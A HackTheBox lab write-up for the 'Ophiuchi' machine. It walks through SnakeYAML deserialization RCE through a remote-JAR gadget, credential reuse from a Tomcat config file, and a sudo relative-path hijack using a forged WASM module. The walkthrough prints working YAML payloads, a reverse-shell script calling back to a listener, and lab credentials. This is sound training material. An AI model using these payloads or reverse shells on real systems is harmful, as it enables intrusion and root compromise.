HTB: Ophiuchi Writeup
Ophiuchi - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Ophiuchi |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Ophiuchi exposes only SSH and a custom Tomcat-hosted Java web app on port 8080. The app’s “Parse YAML” feature deserializes attacker-supplied YAML through SnakeYAML’s unrestricted Constructor, allowing arbitrary Java class instantiation and, via a ScriptEngineManager/URLClassLoader gadget, remote code execution as the tomcat service account. From there, Tomcat’s own realm configuration file leaks a password reused for SSH as a second user. Sudo rights on that user allow running a Go program that loads a WebAssembly module and a shell script by relative filename rather than absolute path — forging both files and dropping them where the sudo command actually executes hijacks the privileged run and yields a root shell.
TL;DR: Nmap (22, 8080) → Tomcat “Parse YAML” /Servlet endpoint → SnakeYAML insecure deserialization (CVE-2013-7285) → ScriptEngineManager/URLClassLoader gadget loads malicious JAR → RCE as tomcat → tomcat-users.xml leaks admin credentials → SSH as admin → NOPASSWD sudo on go run /opt/wasm-functions/index.go → relative-path main.wasm/deploy.sh hijack → forged WASM info() export + malicious deploy.sh in /tmp → root.
Reconnaissance
Port Scanning
# Full TCP sweepnmap -sC -sV -T4 -p- <TARGET_IP>Results:
22/tcp— OpenSSH8080/tcp— Apache Tomcat, hosting a custom Java web application
No other ports were exposed — the entire attack surface for the foothold is the Tomcat app.
Service Enumeration
The Tomcat application on 8080 presents a “Parse YAML” / online YAML-parser feature backed by a servlet (/Servlet). The page accepts arbitrary YAML input and echoes back a parsed representation, which is the classic signature of a Java backend feeding user input straight into a YAML deserializer — SnakeYAML, jYAML, or YamlBeans are the usual suspects behind this kind of feature.
Vulnerability Assessment
- The
/Servletendpoint parses attacker-supplied YAML server-side with SnakeYAML, using its defaultConstructorrather than a restrictedSafeConstructor. - SnakeYAML’s default
Constructorhonors!!fully.qualified.ClassName [...]type tags and will instantiate essentially any class on the classpath with attacker-chosen constructor arguments — this unrestricted-instantiation behavior is tracked as CVE-2013-7285 and is the root cause of the deserialization RCE class of bugs against SnakeYAML-backed YAML parsers.
Initial Foothold
SnakeYAML Deserialization → RCE as tomcat
The exploit chain abuses two nested !!-tagged object instantiations: a java.net.URLClassLoader pointed at an attacker-hosted JAR, wrapped inside a javax.script.ScriptEngineManager. When ScriptEngineManager is constructed, it uses Java’s ServiceLoader mechanism to scan every JAR on its classloader for a META-INF/services/javax.script.ScriptEngineFactory entry and instantiates whatever class is registered there — meaning code placed in that factory’s constructor runs immediately, with no need to invoke any further method. This is exactly the mechanism the artsploit/yaml-payload PoC packages up.
# Blind-callback test payload — confirms the deserializer resolves an attacker-controlled URL!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://<listener_ip>:8000/"] ]]]Submitting this to /Servlet while a local HTTP listener runs confirmed the callback fired, proving the deserializer was reachable and unrestricted.
# Confirm the callbackpython3 -m http.server 8000With interaction confirmed, the artsploit/yaml-payload PoC was cloned and its AwesomeScriptEngineFactory constructor was edited to drop and execute a reverse shell instead of the stock PoC behavior. The target runs Java 11, so the payload had to be compiled to a matching classfile version — compiling with the local JDK’s default target produced a newer classfile version than the target JVM could load (UnsupportedClassVersionError), silently killing the RCE. Recompiling with an explicit --release flag fixed it:
# Match the target JVM's classfile version (target runs Java 11) —# otherwise the JAR loads but the JVM refuses to initialize the classjavac --release 11 src/artsploit/AwesomeScriptEngineFactory.javajar -cvf yaml-payload.jar -C src/ .
# Serve the malicious JARpython3 -m http.server 8000# Catch the callback — a FIFO-backed listener keeps the reverse shell# interactive even when driving the exploit from a non-interactive jump hostmkfifo /tmp/fnc -lvnp 4444Submitting the second-stage YAML payload against /Servlet triggers the class load and executes the constructor of the malicious ScriptEngineFactory:
# Loads the malicious JAR — its ScriptEngineFactory constructor fires on load!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://<listener_ip>:8000/yaml-payload.jar"] ]]]This returned a reverse shell as the tomcat service account.
cat user.txt# <redacted>Privilege Escalation
Lateral Movement: tomcat → admin
Tomcat’s realm/credential file for the Manager and Host-Manager apps sits under the install directory and is readable by the service account that runs it:
cat /opt/tomcat/conf/tomcat-users.xml<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>Tomcat config files routinely store credentials in cleartext, and admins commonly reuse the Tomcat manager password elsewhere. Testing it against SSH confirmed the reuse:
# Password reuse — Tomcat manager creds are also a valid Linux loginssh admin@<target_ip># Password: whythereisalimitadmin → root: Sudo Relative-Path Hijack via Go + WASM
sudo -lUser admin may run the following commands on ophiuchi: (root) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.goindex.go loads main.wasm, calls its exported info() function, and only runs deploy.sh if that call returns "1":
// /opt/wasm-functions/index.go (relevant logic)bytes, _ := wasm.ReadBytes("main.wasm") // relative pathinstance, _ := wasm.NewInstance(bytes)init := instance.Exports["info"]result, _ := init()if result.String() != "1" { fmt.Println("Not ready to deploy")} else { out, _ := exec.Command("/bin/sh", "deploy.sh").Output() // relative path fmt.Println(string(out))}Both main.wasm and deploy.sh are referenced by relative path, and the sudoers rule doesn’t pin a working directory — go run resolves those relative paths against whatever directory the command is invoked from. Placing forged copies of both files in a writable directory and running the sudo command from there causes it to load attacker-controlled files instead of the real ones in /opt/wasm-functions.
The real main.wasm’s info() export always returns 0 (never “ready to deploy”), so a replacement module was built with wabt’s wat2wasm (installed on the jump host) whose info() unconditionally returns 1:
;; main.wat — forged module: info() always reports "ready"(module (func (export "info") (result i32) i32.const 1 ))# Build wabt on the jump host (not preinstalled)git clone --recursive https://github.com/WebAssembly/wabtcd wabt && mkdir build && cd build && cmake .. && cmake --build .
# Compile the forged module./wat2wasm main.wat -o main.wasmA malicious deploy.sh root reverse shell was written alongside it:
#!/bin/bash/bin/bash -c '/bin/bash -i >& /dev/tcp/<listener_ip>/4444 0>&1'Both files were dropped in /tmp (writable by admin), then the sudo command was invoked from that directory so go run resolves the relative paths there instead of /opt/wasm-functions:
chmod +x /tmp/deploy.shcd /tmpsudo /usr/bin/go run /opt/wasm-functions/index.goindex.go loaded the forged main.wasm, info() returned 1, and it shelled out to the forged deploy.sh — as root:
cat root.txt# <redacted>Attack Chain Summary
Nmap (22, 8080) → Tomcat "Parse YAML" /Servlet endpoint → SnakeYAML insecure deserialization (CVE-2013-7285) → ScriptEngineManager / URLClassLoader gadget loads malicious JAR → RCE as tomcat → tomcat-users.xml leaks admin:whythereisalimit → SSH as admin (password reuse) → NOPASSWD sudo: go run /opt/wasm-functions/index.go → relative-path main.wasm / deploy.sh hijack → forged WASM info()=1 + malicious deploy.sh dropped in /tmp → rootTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning |
python3 -m http.server | Serving the malicious YAML-payload JAR / catching callbacks |
javac / jar (JDK) | Recompiling the yaml-payload gadget for the target’s Java 11 runtime |
artsploit/yaml-payload | SnakeYAML deserialization RCE PoC (ScriptEngineFactory gadget) |
nc + mkfifo | Catching an interactive reverse shell from a non-interactive jump host |
ssh | Lateral movement via reused Tomcat manager credentials |
sudo -l | Enumerating privilege escalation vector |
wabt (wat2wasm) | Forging a replacement WebAssembly module |
bash | Reverse shell payloads |
Key Learnings
Techniques Practiced
- YAML/SnakeYAML insecure deserialization (CVE-2013-7285) via
ScriptEngineManager/URLClassLoadergadget chain - Matching a recompiled Java gadget’s classfile version to the target JVM (
javac --release) - Harvesting reused credentials from Tomcat’s
tomcat-users.xmlrealm file - Identifying and abusing a sudo rule that resolves script/binary references by relative path
- Reverse-engineering and forging a WebAssembly module’s exported function return value
- Using a FIFO-backed listener to keep a reverse shell interactive from a non-interactive jump host
Lessons Learned
- SnakeYAML’s default
Constructorwill instantiate arbitrary classes from!!tagsyntax — any app that parses untrusted YAML must useSafeConstructoror an explicit type allowlist. - A recompiled Java exploit JAR must target the same classfile version as the victim JVM, or the class silently fails to load and the RCE appears to do nothing.
- Application config files (Tomcat realm files, in this case) are a prime early-foothold target for cleartext credentials that often get reused across services like SSH.
- Sudo rules that reference a script or binary via a relative path are exploitable by controlling the working directory the command is invoked from — always audit
sudo -loutput for absolute vs. relative paths. - When application logic branches purely on a WASM module’s exported function return value, the module can simply be reverse engineered and rebuilt to force the desired branch.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox Official Writeup — Ophiuchi (Document No. D21.100.122, prepared by PwnMeow, released 24 June 2021) — used only for explanatory context on the SnakeYAML deserialization mechanism and the Go/WASM privilege-escalation logic; all IPs, commands, outputs, and credentials in this writeup are from the author’s own solve.